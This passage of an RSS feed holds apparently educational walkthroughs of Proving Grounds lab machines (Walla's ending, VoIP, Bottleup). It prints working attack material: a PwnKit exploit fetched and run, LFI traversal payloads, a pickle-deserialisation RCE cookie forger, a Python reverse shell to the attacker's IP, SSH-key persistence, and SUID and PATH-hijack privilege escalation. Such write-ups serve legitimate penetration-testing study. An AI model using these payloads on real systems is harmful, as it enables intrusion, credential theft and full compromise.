of the exploit from <a href="https://github.com/joeammond/CVE-2021-4034">github</a>:</p><pre>root@kali:/home/kali/offsec/PROCESS# wget &lt;https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py&gt;<br>--2023-06-29 09:52:48--  &lt;https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py&gt;<br>Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...<br>Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 3262 (3.2K) [text/plain]<br>Saving to: ‘CVE-2021-4034.py’<br>CVE-2021-4034.py             100%[==============================================&gt;]   3.19K  --.-KB/s    in 0s      <br>2023-06-29 09:52:49 (16.2 MB/s) - ‘CVE-2021-4034.py’ saved [3262/3262]</pre><p>Then sending this file to remote host via Python http server:</p><pre>www-data@walla:/tmp$ wget 192.168.45.200/CVE-2021-4034.py<br>wget 192.168.45.200/CVE-2021-4034.py<br>--2023-06-29 09:52:59--  &lt;http://192.168.45.200/CVE-2021-4034.py&gt;<br>Connecting to 192.168.45.200:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 3262 (3.2K) [text/x-python]<br>Saving to: ‘CVE-2021-4034.py’<br>CVE-2021-4034.py    100%[===================&gt;]   3.19K  --.-KB/s    in 0.001s  <br>2023-06-29 09:52:59 (5.32 MB/s) - ‘CVE-2021-4034.py’ saved [3262/3262]</pre><p>And finally getting root:</p><pre>www-data@walla:/tmp$ python3 CVE-2021-4034.py<br>python3 CVE-2021-4034.py<br>[+] Creating shared library for exploit code.<br>[+] Calling execve()<br># whoami<br>whoami<br>root</pre><p>Getting the second flag:</p><pre># cat /root/proof.txt<br>cat /root/proof.txt<br>SECOND_FLAG</pre><h3>Alternative Privilege Escalation</h3><p>User www-data can execute the following as root, as seen from LinPEAS output:</p><pre>User www-data may run the following commands on walla:<br>    (ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py</pre><p>This file has the following content:</p><pre>#!/usr/bin/python<br>import sys<br>try:<br>        import wificontroller<br>except Exception:<br>        print &quot;[!] ERROR: Unable to load wificontroller module.&quot;<br>        sys.exit()<br>wificontroller.stop(&quot;wlan0&quot;, &quot;1&quot;)<br>wificontroller.reset(&quot;wlan0&quot;, &quot;1&quot;)<br>wificotroller.start(&quot;wlan0&quot;, &quot;1&quot;)</pre><p>But module wificontroller does not exist:</p><pre>www-data@walla:/tmp$ python<br>python<br>Python 2.7.16 (default, Oct 10 2019, 22:02:15) <br>[GCC 8.3.0] on linux2<br>Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.<br>&gt;&gt;&gt; import wificontroller<br>import wificontroller<br>Traceback (most recent call last):<br>  File &quot;&lt;stdin&gt;&quot;, line 1, in &lt;module&gt;<br>ImportError: No module named wificontroller</pre><p>But we can create <a href="http://wificontroller.py/">wificontroller.py</a> file in the home folder of user walter. Creating <a href="http://wificontroller.py/">wificontroller.py</a> locally:</p><pre>#!/usr/bin/python<br>import os<br>def stop(interface,pid):<br>    os.system(&#39;chmod 7777 /bin/bash&#39;)<br>    print(0)<br>def reset(interface,pid):<br>    print(1)<br>def start(interface,pid):<br>    print(1)</pre><p>And getting this file to walter’s home folder:</p><pre>www-data@walla:/tmp$ wget 192.168.45.200/wificontroller.py<br>wget 192.168.45.200/wificontroller.py<br>--2023-06-29 10:33:18--  &lt;http://192.168.45.200/wificontroller.py&gt;<br>Connecting to 192.168.45.200:80... connected.<br>HTTP request sent, awaiting response... 200 OK<br>Length: 184 [text/x-python]<br>Saving to: ‘wificontroller.py’<br>wificontroller.py   100%[===================&gt;]     184  --.-KB/s    in 0s      <br>2023-06-29 10:33:18 (39.3 MB/s) - ‘wificontroller.py’ saved [184/184]<br>www-data@walla:/tmp$ cp wificontroller.py /home/walter<br>cp wificontroller.py /home/walter</pre><p>Finally, running this file to set SUID on /bin/bash:</p><pre>www-data@walla:/tmp$ sudo /usr/bin/python /home/walter/wifi_reset.py<br>sudo /usr/bin/python /home/walter/wifi_reset.py<br>0<br>1<br>Traceback (most recent call last):<br>  File &quot;/home/walter/wifi_reset.py&quot;, line 13, in &lt;module&gt;<br>    wificotroller.start(&quot;wlan0&quot;, &quot;1&quot;)<br>NameError: name &#39;wificotroller&#39; is not defined<br>www-data@walla:/tmp$ ls -la /bin/bash<br>ls -la /bin/bash<br>-rwsrwsrwt 1 root root 1168776 Apr 18  2019 /bin/bash</pre><p>And getting root shell with the second flag:</p><pre>www-data@walla:/tmp$ /bin/bash -p<br>/bin/bash -p<br>bash-5.0# whoami<br>whoami<br>root<br>bash-5.0# cat /root/proof.txt<br>cat /root/proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c7c155b7de5b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) VoIP Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-voip-writeup-83d6da0f2874?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/83d6da0f2874</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Wed, 28 Jun 2023 19:17:12 GMT</pubDate>
            <atom:updated>2023-06-30T19:29:39.463Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6CxIIIgN8S8zhmg0" /><figcaption>Photo by <a href="https://unsplash.com/@mbaumi?utm_source=medium&amp;utm_medium=referral">Mika Baumeister</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.175.156</pre><h3>Scans</h3><h3><strong>nmap</strong></h3><h3>nmap</h3><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)<br>80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))<br>8000/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>Exploit</h3><p>Found VoIP server on this host from web servers both on port 80 and 8000.</p><p>Then, using sipdigestleak from the <a href="https://github.com/Pepelux/sippts">sippts</a> framework, I got password hash for user adm_sip:</p><pre>root@kali:/home/kali/offsec/GIT/sippts# python3 sipdigestleak.py -i $ip  <br>☎  SIPPTS BY 🅿 🅴 🅿 🅴 🅻 🆄 🆇<br>█████████████████████████████████▀█████████████████████████████████████████████<br>█─▄▄▄▄█▄─▄█▄─▄▄─███▄─▄▄▀█▄─▄█─▄▄▄▄█▄─▄▄─█─▄▄▄▄█─▄─▄─███▄─▄███▄─▄▄─██▀▄─██▄─█─▄█<br>█▄▄▄▄─██─███─▄▄▄████─██─██─██─██▄─██─▄█▀█▄▄▄▄─███─██████─██▀██─▄█▀██─▀─███─▄▀██<br>▀▄▄▄▄▄▀▄▄▄▀▄▄▄▀▀▀▀▀▄▄▄▄▀▀▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▄▄▄▀▀▄▄▄▀▀▀▀▄▄▄▄▄▀▄▄▄▄▄▀▄▄▀▄▄▀▄▄▀▄▄▀<br>            <br>💾 &lt;https://github.com/Pepelux/sippts&gt;<br>🐦 &lt;https://twitter.com/pepeluxx&gt;<br>Press Ctrl+C to stop<br>[✓] Target: 192.168.175.156:5060/UDP<br>[=&gt;] Request INVITE<br>[&lt;=] Response 180 Ringing<br>[&lt;=] Response 200 OK<br>[=&gt;] Request ACK<br>        ... waiting for BYE ...<br>[&lt;=] Received BYE<br>[=&gt;] Request 407 Proxy Authentication Required<br>[&lt;=] Received BYE<br>[=&gt;] Request 200 Ok<br>Auth=Digest username=&quot;adm_sip&quot;, uri=&quot;sip:127.0.0.1:5060&quot;, password=&quot;074b62fb6c21b84e6b5846e6bb001f67&quot;, algorithm=MD5<br> --------------------------------------------------------------------------------------------------------------------------------------------------<br>| IP address      | Port | Proto | Response                                                                                                        |<br> --------------------------------------------------------------------------------------------------------------------------------------------------<br>| 192.168.175.156 | 5060 | UDP   | Digest username=&quot;adm_sip&quot;, uri=&quot;sip:127.0.0.1:5060&quot;, password=&quot;074b62fb6c21b84e6b5846e6bb001f67&quot;, algorithm=MD5 |<br> --------------------------------------------------------------------------------------------------------------------------------------------------</pre><p>Cracking the has via hashcat:</p><pre>074b62fb6c21b84e6b5846e6bb001f67:passion<br>Session..........: hashcat<br>Status...........: Cracked<br>Hash.Mode........: 0 (MD5)</pre><p>Using these credentials to log in to web portal on port 80.</p><p>On the portal, among Call Data Records a call recording can be found, but it is in raw format. To fix this, Stream Rates can be checked, where it is stated that the rate is 8000 Hz, mono channel and pcm_mulaw, that are used for stream mapping:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*pMtX26Gh4QewCuaYkh3Iww.png" /></figure><p>Using a tool called ‘sox’ we can decrypt this raw data:</p><pre>root@kali:/home/kali/offsec/PROCESS# sox -t raw -r 8000 -v 4 -c 1 -e mu-law 2138.raw out.wav</pre><p>The resulting wav file is a recording of a call, where one says the following:</p><p>Your Password has been changed to Password1234 where P is capital</p><p>Using the list of users found on web app on port 8000, to which can be logged in using admin:admin credentials pair, we can start brute-forcing SSH users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*JM8-HQaUls_bxAovxToT6A.png" /></figure><h3>Reverse Shell</h3><p>I write a file of all the users:</p><pre>root@kali:/home/kali/offsec/PROCESS# cat users.txt <br>william<br>emma<br>voiper<br>john<br>olivia<br>ava<br>rocky<br>noah</pre><p>Then I use hydra to brute-force users:</p><pre>root@kali:/home/kali/offsec/PROCESS# hydra -L users.txt -p Password1234 $ip ssh -I -t 4<br>Hydra v9.4 (c) 2022 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).<br>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) starting at 2023-06-28 14:58:21<br>[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore<br>[DATA] max 4 tasks per 1 server, overall 4 tasks, 8 login tries (l:8/p:1), ~2 tries per task<br>[DATA] attacking ssh://192.168.175.156:22/<br>[STATUS] 6.00 tries/min, 6 tries in 00:01h, 2 to do in 00:01h, 4 active<br>[ERROR] all children were disabled due too many connection errors<br>0 of 1 target completed, 0 valid password found<br>[INFO] Writing restore file because 2 server scans could not be completed<br>[ERROR] 1 target was disabled because of too many errors<br>[ERROR] 1 targets did not complete<br>Hydra (&lt;https://github.com/vanhauser-thc/thc-hydra&gt;) finished at 2023-06-28 15:00:03</pre><p>Due to the error, I had to manually check all the users, and one worked:</p><pre>root@kali:/home/kali/offsec/GIT/sippts# ssh voiper@$ip<br>voiper@192.168.175.156\&#39;s password: <br>Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-65-generic x86_64)* Documentation:  &lt;https://help.ubuntu.com&gt;<br> * Management:     &lt;https://landscape.canonical.com&gt;<br> * Support:        &lt;https://ubuntu.com/advantage&gt;<br>  System information as of Wed 28 Jun 2023 07:01:38 PM UTC<br>  System load:  0.0               Processes:               213<br>  Usage of /:   55.8% of 9.78GB   Users logged in:         0<br>  Memory usage: 35%               IPv4 address for ens160: 192.168.175.156<br>  Swap usage:   0%<br>5 updates can be installed immediately.<br>0 of these updates are security updates.<br>To see these additional updates run: apt list --upgradable<br>The list of available updates is more than a week old.<br>To check for new updates run: sudo apt update<br>Failed to connect to &lt;https://changelogs.ubuntu.com/meta-release-lts&gt;. Check your Internet connection or proxy settings<br>Last login: Wed Jun 28 18:58:08 2023 from 192.168.45.209<br>$</pre><h3>Privilege Escalation</h3><p>The user voiper can run any commands as root:</p><pre>$ sudo -l<br>[sudo] password for voiper: <br>Matching Defaults entries for voiper on VOIP:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin<br>User voiper may run the following commands on VOIP:<br>    (ALL : ALL) ALL</pre><p>So I got all the flags at once:</p><pre>$ sudo bash<br>root@VOIP:/home/voiper# whoami<br>root<br>root@VOIP:/home/voiper# cat local.txt<br>FIRST_FLAG<br>root@VOIP:/home/voiper# cat /root/proof.txt <br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=83d6da0f2874" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds (PG) Bottleup Writeup]]></title>
            <link>https://medium.com/@thetraphacker/proving-grounds-pg-bottleup-writeup-99db083ab511?source=rss-5f874701a0b4------2</link>
            <guid isPermaLink="false">https://medium.com/p/99db083ab511</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[walkthrough]]></category>
            <dc:creator><![CDATA[TrapTheOnly]]></dc:creator>
            <pubDate>Sun, 09 Apr 2023 19:52:53 GMT</pubDate>
            <atom:updated>2023-06-28T19:13:10.983Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KRsbpMuToHxLMW8D" /><figcaption>Photo by <a href="https://unsplash.com/@cdr6934?utm_source=medium&amp;utm_medium=referral">Chris Ried</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>IP</h3><pre>192.168.100.246</pre><h3>Scans</h3><p>Nmap</p><pre>PORT     STATE SERVICE VERSION<br>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>8080/tcp open  http    WSGIServer 0.2 (Python 3.8.10)<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><h3>Exploit</h3><p>The website on port 8080 has many pages with articles that can be read. The link when opening an article is, for example:</p><pre>http://192.168.100.246:8080/view?page=views/2.html</pre><p>It seems as if the app is loading a file from local views folder. This can be used for LFI. Checking with wfuzz shows that it is indeed possible:</p><pre>http://192.168.100.246:8080/view?page=..%%32%66..%%32%66/etc/passwd</pre><p>This shows the output of /etc/passwd:</p><pre>root:x:0:0:root:/root:/bin/bash<br>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin<br>bin:x:2:2:bin:/bin:/usr/sbin/nologin<br>...<br>hcue:x:1000:1000::/home/hcue:/bin/sh</pre><p>Gathered the currently running app’s path by reading /proc/self/cmdline:</p><pre>$ curl &quot;http://192.168.100.246:8080/view?page=..%%32%66..%%32%66/proc/self/cmdline&quot; --output -         <br><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot; &gt;<br>...<br>&lt;section class=&quot;container&quot;&gt;<br>&lt;p&gt;/usr/bin/python3/opt/bottle-blog/app.py&lt;/p&gt;<br>...<br>&lt;/html&gt;  </pre><p>Then gathered the app.py file itself:</p><pre>$ curl &quot;http://192.168.100.246:8080/view?page=..%%32%66..%%32%66/opt/bottle-blog/app.py&quot; --output -<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot; &gt;<br>...<br>&lt;section class=&quot;container&quot;&gt;<br>&lt;p&gt;from bottle import route, run, static_file,template,request,response,error<br>from config.secret import secret <br>import os <br>import urllib<br>...<br>if __name__ == &amp;#039;__main__&amp;#039;:<br>    run(host=&amp;#039;0.0.0.0&amp;#039;, port=8080)<br>&lt;/p&gt;<br>...<br>&lt;/html&gt;</pre><p>On the second line app requests some “secret” to later create cookies. Reading this file as well:</p><pre>$ curl &quot;http://192.168.100.246:8080/view?page=..%%32%66..%%32%66/opt/bottle-blog/config/secret.py&quot; --output -<br><br>&lt;!DOCTYPE html&gt;<br>&lt;html lang=&quot;en&quot; &gt;<br>...<br>&lt;section class=&quot;container&quot;&gt;<br>&lt;p&gt;secret = &amp;quot;546546DSQ7711DSQDSQXWZ&amp;quot;&lt;/p&gt;<br>...<br>&lt;/html&gt;</pre><p>Now that we have the secret, I run this file on my own machine to generate “admin” cookie, becuase in the original file we can only get user cookie:</p><pre>7  def home():<br>8      session = request.get_cookie(&#39;name&#39;,secret=secret)<br>9      if (not session):<br>10         session={&quot;name&quot;:&quot;guest&quot;}<br>11         response.set_cookie(&#39;name&#39;,session,secret=secret)</pre><p>Instead I will create a temporary “views/index.html” file and use this code instead:</p><pre>7  def home():<br>8      secret = &quot;546546DSQ7711DSQDSQXWZ&quot;<br>9      session = request.get_cookie(&#39;name&#39;,secret=secret)<br>10     if (not session):<br>11         session={&quot;name&quot;:&quot;admin&quot;}<br>12         response.set_cookie(&#39;name&#39;,session,secret=secret)</pre><p>And run this script:</p><pre>$ python3 app.py<br>Bottle v0.12.25 server starting up (using WSGIRefServer())...<br>Listening on http://0.0.0.0:8080/<br>Hit Ctrl-C to quit</pre><p>Then, by requesting <a href="http://localhost:8080/,">http://localhost:8080/,</a> we get our cookie in response:</p><pre>Content-Type: text/html; charset=UTF-8<br>Set-Cookie: name=&quot;!tha0+wxAFQXZDPeyKFIBuw==?gAWVFwAAAAAAAACMBG5hbWWUfZRoAIwFYWRtaW6Uc4aULg==&quot;</pre><h3>Reverse Shell</h3><p>Now that we can alter our cookies, I have started searching for any exploit of this vulnerability on internet and found one (<a href="https://www.norelect.ch/writeups/sekaictf2022/bottle_poem/)">https://www.norelect.ch/writeups/sekaictf2022/bottle_poem/)</a>. I changed the final script provided in his tutorial to make it look like this:</p><pre>import os, hmac, hashlib, base64, pickle, requests<br>def tob(s, enc=&#39;utf8&#39;):<br>    if isinstance(s, str):<br>        return s.encode(enc)<br>    return b&#39;&#39; if s is None else bytes(s)<br>def touni(s, enc=&#39;utf8&#39;, err=&#39;strict&#39;):<br>    if isinstance(s, bytes):<br>        return s.decode(enc, err)<br>    return str(&quot;&quot; if s is None else s)<br>def create_cookie(name, value, secret):<br>    d = pickle.dumps([name, value], -1)<br>    encoded = base64.b64encode(d)<br>    sig = base64.b64encode(hmac.new(tob(secret), encoded, digestmod=hashlib.md5).digest())<br>    value = touni(tob(&#39;!&#39;) + sig + tob(&#39;?&#39;) + encoded)<br>    return value<br>class PickleRCE(object):<br>    def __reduce__(self):<br>        return (exec,(&quot;&quot;&quot;<br>from bottle import response<br>import subprocess,base64<br>output = subprocess.check_output(&#39;ls -la /&#39;, shell=True)<br>response.set_header(&#39;X-Flag&#39;,base64.b64encode(output))<br>&quot;&quot;&quot;,))<br>session = {&quot;name&quot;: PickleRCE()}<br>cookie = create_cookie(&quot;name&quot;, session, &quot;546546DSQ7711DSQDSQXWZ&quot;)<br>r = requests.get(&quot;http://192.168.100.246:8080&quot;, cookies={&quot;name&quot;: cookie})<br>print(base64.b64decode(r.headers[&quot;x-flag&quot;]).decode(&quot;ascii&quot;))</pre><p>The output is:</p><pre>$ python3 exploit.py<br>total 1992780<br>drwxr-xr-x  19 root root       4096 Jan 24 07:28 .<br>drwxr-xr-x  19 root root       4096 Jan 24 07:28 ..<br>lrwxrwxrwx   1 root root          7 Aug 31  2022 bin -&gt; usr/bin<br>drwxr-xr-x   4 root root       4096 Mar 23 13:20 boot<br>drwxr-xr-x  18 root root       4060 Mar 27 20:03 dev<br>drwxr-xr-x  98 root root       4096 Mar 23 13:21 etc<br>drwxr-xr-x   3 root root       4096 Mar 23 13:21 home<br>lrwxrwxrwx   1 root root          7 Aug 31  2022 lib -&gt; usr/lib<br>lrwxrwxrwx   1 root root          9 Aug 31  2022 lib32 -&gt; usr/lib32<br>lrwxrwxrwx   1 root root          9 Aug 31  2022 lib64 -&gt; usr/lib64<br>lrwxrwxrwx   1 root root         10 Aug 31  2022 libx32 -&gt; usr/libx32<br>drwx------   2 root root      16384 Jan 24 07:23 lost+found<br>drwxr-xr-x   2 root root       4096 Aug 31  2022 media<br>drwxr-xr-x   2 root root       4096 Aug 31  2022 mnt<br>drwxr-xr-x   3 root root       4096 Mar 23 13:21 opt<br>dr-xr-xr-x 262 root root          0 Mar 27 20:03 proc<br>drwx------   5 root root       4096 Apr  9 09:14 root<br>drwxr-xr-x  32 root root        920 Apr  9 09:14 run<br>lrwxrwxrwx   1 root root          8 Aug 31  2022 sbin -&gt; usr/sbin<br>drwxr-xr-x   6 root root       4096 Aug 31  2022 snap<br>drwxr-xr-x   2 root root       4096 Aug 31  2022 srv<br>-rw-------   1 root root 2040528896 Jan 24 07:24 swap.img<br>dr-xr-xr-x  13 root root          0 Mar 27 20:03 sys<br>drwxrwxrwt  14 root root       4096 Apr  9 11:14 tmp<br>drwxr-xr-x  14 root root       4096 Aug 31  2022 usr<br>drwxr-xr-x  13 root root       4096 Aug 31  2022 var</pre><p>Getting a reverse shell via this exploit. First, modfiy the script to make a netcat connection to my IP:</p><pre>...<br>class PickleRCE(object):<br>&amp;nbsp; &amp;nbsp; def __reduce__(self):<br>&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return (exec,(&quot;&quot;&quot;<br>import socket,subprocess,os<br>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;192.168.49.100&quot;,443))<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1)<br>os.dup2(s.fileno(),2)<br>import pty<br>pty.spawn(&quot;/bin/sh&quot;)<br>&quot;&quot;&quot;,))<br>...</pre><p>And running it to get reverse shell and the first flag:</p><pre>$ rlwrap nc -lvnp 443 <br>listening on [any] 443 ...<br>connect to [192.168.49.100] from (UNKNOWN) [192.168.100.246] 50390<br>$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>hcue@BottleUp:/opt/bottle-blog$ cat ~/local.txt<br>cat ~/local.txt<br>FIRST_FLAG</pre><h3>Privilege Escalation</h3><p>Added my public key to authorized_keys to get SSH connection to user hcue:</p><pre>hcue@BottleUp:/opt/bottle-blog$ ssh-keygen<br>ssh-keygen<br>Generating public/private rsa key pair.<br>Enter file in which to save the key (/home/hcue/.ssh/id_rsa): <br>Created directory &#39;/home/hcue/.ssh&#39;.<br>Enter passphrase (empty for no passphrase): <br>Enter same passphrase again: <br>Your identification has been saved in /home/hcue/.ssh/id_rsa<br>Your public key has been saved in /home/hcue/.ssh/id_rsa.pub<br>The key fingerprint is:<br>SHA256:JSdVpFdLrs2ZeeqOeBLWDncc2y6R361kE4R4BcXzb80 hcue@BottleUp<br>The keys randomart image is:<br>+---[RSA 3072]----+<br>|          .o++=  |<br>|         . o *o. |<br>|        o = + +o |<br>|         = o =.+.|<br>|        S  ...B*+|<br>|          + o *+E|<br>|         . = .==o|<br>|          ..o=..=|<br>|          .o..+o |<br>+----[SHA256]-----+<br>hcue@BottleUp:/opt/bottle-blog$ <br>hcue@BottleUp:/opt/bottle-blog$ echo &quot;PUUB_KEY&quot; &gt; ~/.ssh/authorized_keys<br>hcue@BottleUp:/opt/bottle-blog$</pre><pre>┌──(root㉿kali)-[/home/kali/offsec/PROCESS]<br>└─# ssh hcue@$ip    <br>$ python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>hcue@BottleUp:~$</pre><p>After uploading and running LinPEAS I got the following:</p><pre>╔══════════╣ Analyzing .service files<br>╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services<br>/etc/systemd/system/app.service<br>/etc/systemd/system/app.service is executing some relative path<br>/etc/systemd/system/larj.service<br>/etc/systemd/system/multi-user.target.wants/app.service<br>/etc/systemd/system/multi-user.target.wants/app.service is executing some relative path<br>/etc/systemd/system/multi-user.target.wants/atd.service is executing some relative path<br>/etc/systemd/system/multi-user.target.wants/grub-common.service is executing some relative path<br>/etc/systemd/system/multi-user.target.wants/larj.service<br>/etc/systemd/system/sleep.target.wants/grub-common.service is executing some relative path<br><br>╔══════════╣ Permissions in init, init.d, systemd, and rc.d<br>╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d<br>You have write privileges over /etc/systemd/system/app.service<br>/etc/systemd/system/larj.service</pre><p>It seems like we can write into a service. Checking it:</p><pre>hcue@BottleUp:~$ cat /etc/systemd/system/larj.service<br>[Unit]<br>Description=APP<br>[Service]<br>ExecStart=/bin/bash /opt/larj.sh<br>Restart=always<br>RestartSec=60s<br>User=root<br>Environment=PATH=/usr/bin:/usr/local/bin:/home/hcue:/home/root<br>WorkingDirectory=/opt<br>[Install]<br>WantedBy=multi-user.target</pre><p>Service restarts every 60 seconds and the file it runs does this:</p><pre>hcue@BottleUp:/opt$ cat larj.sh <br>#!/bin/bash<br>##### Developed by Intern Team Members - <br>##### 2022-2023 Project<br>echo -e &quot;<br>#####################################################################<br>    CPU Health Check Report<br>#####################################################################<br><br>Hostname         : `hostname`<br>Kernel Version   : `uname -r`<br>Uptime           : `uptime | sed &#39;s/.*up \([^,]*\), .*/\1/&#39;`<br>Last Reboot Time : `who -b | awk &#39;{print $3,$4}&#39;`<br><br>*********************************************************************<br>CPU Load - &gt; Threshold &lt; 1 Normal &gt; 1 Caution , &gt; 2 Unhealthy <br>*********************************************************************<br>&quot; &gt; /root/status.log<br>LSCPU=`which lscpu`<br>LSCPU=$?<br>if [ $LSCPU != 0 ]<br>then<br>    RESULT=$RESULT&quot; lscpu required to producre acqurate reults&quot;<br>else<br>cpus=`lscpu | grep -e &quot;^CPU(s):&quot; | cut -f2 -d: | awk &#39;{print $1}&#39;`<br>i=0<br>while [ $i -lt $cpus ]<br>do<br>    echo &quot;CPU$i : `mpstats -P ALL | awk -v var=$i &#39;{ if ($3 == var ) print $4 }&#39; `&quot; &gt;&gt; /root/status.log<br>    let i=$i+1<br>done<br>fi<br>echo -e &quot;<br>Load Average   : `uptime | awk -F&#39;load average:&#39; &#39;{ print $2 }&#39; | cut -f1 -d,`<br>Heath Status : `uptime | awk -F&#39;load average:&#39; &#39;{ print $2 }&#39; | cut -f1 -d, | awk &#39;{if ($1 &gt; 2) print &quot;Unhealthy&quot;; else if ($1 &gt; 1) print &quot;Caution&quot;; else print &quot;Normal&quot;}&#39;`<br>&quot; &gt;&gt; /root/status.log</pre><p>The issue here is that mpstats is not defined:</p><pre>hcue@BottleUp:/opt$ ./larj.sh <br>./larj.sh: line 6: /root/status.log: Permission denied<br>./larj.sh: line 34: mpstats: command not found<br>./larj.sh: line 34: /root/status.log: Permission denied<br>./larj.sh: line 34: mpstats: command not found<br>./larj.sh: line 34: /root/status.log: Permission denied<br>./larj.sh: line 39: /root/status.log: Permission denied</pre><p>and in the environment of the service there is our user’s home folder:</p><pre>hcue@BottleUp:~$ cat /etc/systemd/system/larj.service<br>...<br>Environment=PATH=/usr/bin:/usr/local/bin:/home/hcue:/home/root<br>...</pre><p>Therefore, we write a new file to home folder that will be executed:</p><pre>hcue@BottleUp:~$ cat mpstats <br>chmod 7777 /bin/bash</pre><p>And wait for 60 seconds for this script to be executed, after which we get:</p><pre>hcue@BottleUp:~$ ls -la /bin/bash<br>-rwsrwsrwt 1 root root 1183448 Apr 18  2022 /bin/bash</pre><p>Now we get our root shell and second flag:</p><pre>hcue@BottleUp:~$ /bin/bash -p<br>bash-5.0# whoami<br>root<br>bash-5.0# cat /root/proof.txt<br>SECOND_FLAG</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99db083ab511" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>